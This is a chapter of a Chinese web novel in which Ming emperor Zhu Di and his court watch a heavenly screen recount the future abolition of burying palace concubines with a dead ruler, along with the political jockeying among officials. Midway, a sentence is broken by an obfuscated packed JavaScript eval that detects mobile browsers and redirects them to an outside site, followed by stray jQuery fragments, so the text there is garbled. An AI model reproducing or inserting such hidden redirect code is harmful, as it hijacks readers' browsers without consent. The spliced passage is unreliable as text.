一句话,石破天惊。
文武百官却是不同的态度,部分武将面露迟疑,并非单纯的喜色,文臣则狂喜。
废除人殉,这是大德!君主得仁名,他们官员,同样可以得贤名。
而民间,尤其是文人,更是举杯相庆。
“彼苍者天,歼我良人!如可赎兮,人百其身!”
“如可赎兮,人百其身!”
“交交黄鸟,止于棘……”
人殉啊,从来就不该值得提倡。
炎黄子孙,从部落到国家,从蒙昧到文明,本就早该抛却人殉这样了糟粕了,何以固态复发耶?
朱棣在椅子上换了个姿势,琢磨着,废除一个人殉而已,还需要过程有多繁复?这都能成为新帝的第一把火?
不过,天幕说的是从废除人殉“开始”,这才对嘛,项庄舞剑,意在沛公罢了,所以,这里的沛公是谁?
【辽金元时期,人殉开始逐渐复兴,元朝成吉思汗的殉葬者,有数万人之多,多为汉人或者奴隶,上行下效,影响不言而喻。
明祖朱元璋驱除鞑虏,重整山河,人殉,却没有因此被明面废止,反倒是再次落在了明面。】
天下的文人士大夫纷纷扼腕,人殉这种残忍的事情,他们学习仁义礼智信的文人,当然是不能支持的!当然是要反对的!
他们读书人,都是好人!看不惯这种血腥残忍的恶习!
“人殉!泯灭人性!”
“承明太子仁善啊!”哪里残暴了?明明就是仁君之资!
【到太宗驾崩,原本也应该有后妃殉葬。
这时,戴纶谏言,上天有好生之德,中原乃礼仪之邦,人殉不合仁德之本,理应废除。】
好友林长懋打趣地看向戴纶,“可以啊,名流青史了。”
戴纶脑子还有点晕乎呢,但和好友交流,也足够了,“不过是太……皇孙仁善罢了。”
好友没有在意戴纶的失言,说白了,天幕一出,太子太孙也不可能再信任戴纶了,“是啊,便是暴君如秦始皇,也只用陶俑。人殉,早该废除了。”
戴纶斜了林长懋一眼,“你可悠着点吧,什么都说。”
“你不也一样。”
【戴纶,原为太子府谕德,授读朱瞻基,常谏言。
朱高煦继位后,太子朱瞻圻赞其秉直,升督察院左佥都御史。】
林长懋不禁点头,圻皇孙果真有识人之名,老戴的性子,还真是适合当御史。
朱棣也对这个安排满意,朱棣对戴纶还是很有印象的,是个敢讲敢说的好臣子,瞻圻能用他,先别说位置放没放对,在朝臣眼中,就是新帝对“以往”既往不咎。
仅这一点,便足以安抚朝臣,幸好,瞻圻能稳住老二。
朱瞻基更是对戴纶有印象,毕竟人是给他讲课的,却不是好印象。戴纶有能力是真,在他看来,拿他这个太孙刷名声也是真,他如何能喜?
但朝臣不管这些,他们只看到了朱瞻圻的不计前嫌,知人善用。
戴纶还敢头铁谏言殉葬制度,这可关系到先帝的陪葬!
问题来了,没有上位的允许,戴纶敢吗?
但名声,人家得了。
承明亲自给的!
戴纶尚且如此,他们其他文臣呢?
【然后有意思的来了,第一个出来反对的,不是整天把祖制挂嘴上的文臣,而是有女儿入宫为妃,并且要跟着殉葬的陈丽妃生父——宁阳侯陈懋。】
还没有入宫的,堪堪十六的陈焕愣愣地站在原地,耳中一片嗡鸣。
宁阳侯陈懋之女……
父亲还没有送女儿入宫,可若要送女儿入宫,适龄的只有她一个。
永乐二十二年,她才19!
这就是她的父亲?
这就是她的父亲!
她知道入宫代表了什么,她也可以入宫,她不是没有做好过准备,可她明明可以活,她父亲为何一定要她死?!他们家难道还缺“朝天女户”的称号和抚恤吗?
“姑娘!”
丫鬟们接住眩晕的陈焕,整个院子都慌乱了起来,“快去请大夫来!”
宫中原本斗得厉害的宫妃们,此刻,面无表情,眼中是同样的物伤其类。
斗?皇帝都没两年了?多少年没有子嗣了?还有人能怀上吗?斗来斗去,不都是死。
“承明……是支持的吧?”
“是……天幕既然说出来,那应当,就是成功了的。”
她们,是不是能活了?
年轻的陈焕承受不住打击晕厥了过去,战场上的老将,将自己硬生生从伯干到侯的陈懋,却也不轻松。
直白一点就是,卖女儿的不止他一个,只是卖的方式,卖的对象不同,包括那群清高的文臣,哪怕他们不送女儿入宫,也改变不了联姻的本质,政治上的往来交易。
但这不能被天幕直白的放出来。
让天下人都看到他宁阳侯亲手推女儿去死,他还没这个脸,他臊得慌!
“啊?这是什么道理?自己女儿能活还不好吗?还是妃子欸!”
“莫非这些妃子死了也能有贞节牌坊?”
“这当爹的真不是个东西,自己都是侯爷了还卖女儿。”
“还不如我们村儿的富贵爹呢,女婿死了直接把闺女抢回来。”
宁阳侯应该庆幸,这些话,他还听不到。
【陈懋表示,为人臣子应当一片忠心,先帝去往下界,有人随侍也是应当,陈家女自当尽忠持节,随先帝而去,以报皇恩。】
还活着的“先帝”朱棣微微往后一靠,并没有对陈懋“忠心”的感动。
都是千年狐狸,玩儿什么聊斋呢?
【宁阳侯为什么要这么说呢?当然是为了利益。
贞节牌坊带来的朝廷表彰和赏银,当地官员的教化政绩,让民间被自愿守节甚至是殉葬的烈女数量成片增多。
同样,宫廷后妃殉葬带来的家族利益,也能让既得利益者,舍去父子之情。
毕竟,建文元年,因为女儿的殉葬,被封为锦衣卫千户的宫妃家属可不少。
而宁阳侯陈懋,不仅是侯爵,女儿也是妃位,这样的代表自愿殉葬,朝廷自当有所表示,这其中的政治交易,岂是区区锦衣卫千户能比拟的?】
天幕下,一片哗然。
这些事,不是没人知道。
但是著名物理学家杨金水曾说过,有些事不上秤没四两重,上称了一千斤也打不住。
尤其是,天幕还在持续报数据。
“陛下,贞节牌坊最初的设立是为了让寡妇的生活有所保障,但在落地施行中,难保不被人扭曲了本意,以至好事成了坏事,说到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007592|194073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底,还是监察不到位,地方官员懒政怠政……”
吕尚书依旧快人一步,陛下是不会错的,先帝(这里是太.祖)也是不会错的,错的,自然只能是下面的官员和贪心的部分民众了!
而这时候,以往觉得老吕缺少文人风骨的同僚也不觉得吕尚书哪里有问题了。
对于他们这种权力中枢的官员而言,民间贞节牌坊带来的好处,他们还看不上。
他们想要提携自己的家乡,也多的是其他的办法。
当天幕揭露贞节牌坊无耻吸血的那一刻,他们就不会再去沾染这个“恶名”。
何况这还是与后妃殉葬一起提及的,也就是他们能在彰显清誉,衬己高洁的同时,还能不让“外戚”吃着后妃的血做大,毕竟……朝廷交易出去的权益,可是实打实的。
“陛下,吕尚书所言极是……”
“因贞节牌坊的被自愿风气不可长,如今政通人和,百废俱兴,正是盛世之景的前奏,人力何其珍贵?殉葬之风,自当抑制……“
不需要戴纶重新进言,也不需要朱瞻圻暗中示意,只要开团,自会匹配相应的队友。
此刻不留名?何时来留名?
朱棣知道吗?知道,但他同样会配合,毕竟,君臣相得,明君贤臣,皆大欢喜嘛!
最重要的是,宫妃已经与家中离心,活着也不会一颗心向着家里了。
不过不急,作为人子,怎能主动踩着老爹给自己博名呢?先看看天幕中孙儿的操作来。
【面对陈懋的忠心之言,朱高煦与太子并没有立马表态,这就是一个很明确的信号了,很快,朝堂便成了文武官员的战场,势必要分出一个胜负。
混战中,文臣拿人伦道德占据道德制高点,上头的的武将也不逊色,这是祖宗之法,如何能不遵守?你们文臣要造反吗?】
文臣并不想造反,想造反的是朱家自己人!
满朝文武,可都还记得天幕之前说的变革祖宗之法呢!
“如果是变革这样的祖宗之法,承明的本心,也的确没有任何问题。”
“弘济以为,承明剑锋在何处?”
杨浦杨弘济微微摇头,眉头深锁,废除人殉,只要帝王想,真不是大问题,有什么必要大动干戈呢?越是如此,他越是不安。
难道承明要对太.祖出手?他不信承明会自毁根基。
【造反这个名头谁敢担,这话一出,就必须要有人下场维持纪律了,于是太子开口了。
“造反者乃建文而非诸臣。”
“人殉非太.祖之法,乃建文行大逆之举恶果也!”】
轰隆——
宛如一道惊雷,切切实实霹在了大明所有官员乃至宗亲头顶,将他们霹得七荤八素。
谁?谁造反?谁行逆举?
饶是朱棣都傻了一瞬,他奉天靖难,清君侧也是清的奸臣当道,朱允炆有什么需要造反的?造老爷的反吗?就凭他?
但是——
啪——
朱棣愤而拍案,起身直指天幕怒斥道,“建文小儿!竟陷先帝于不仁!逆贼!”
建文造不造反,先另说,但永乐朝需要贤臣明君,那人殉的锅,就有劳大侄子先背一背了!
这一瞬,朱棣共情未来的承明了,建文,大明第一罪人啊!
瞻圻是个好孙儿!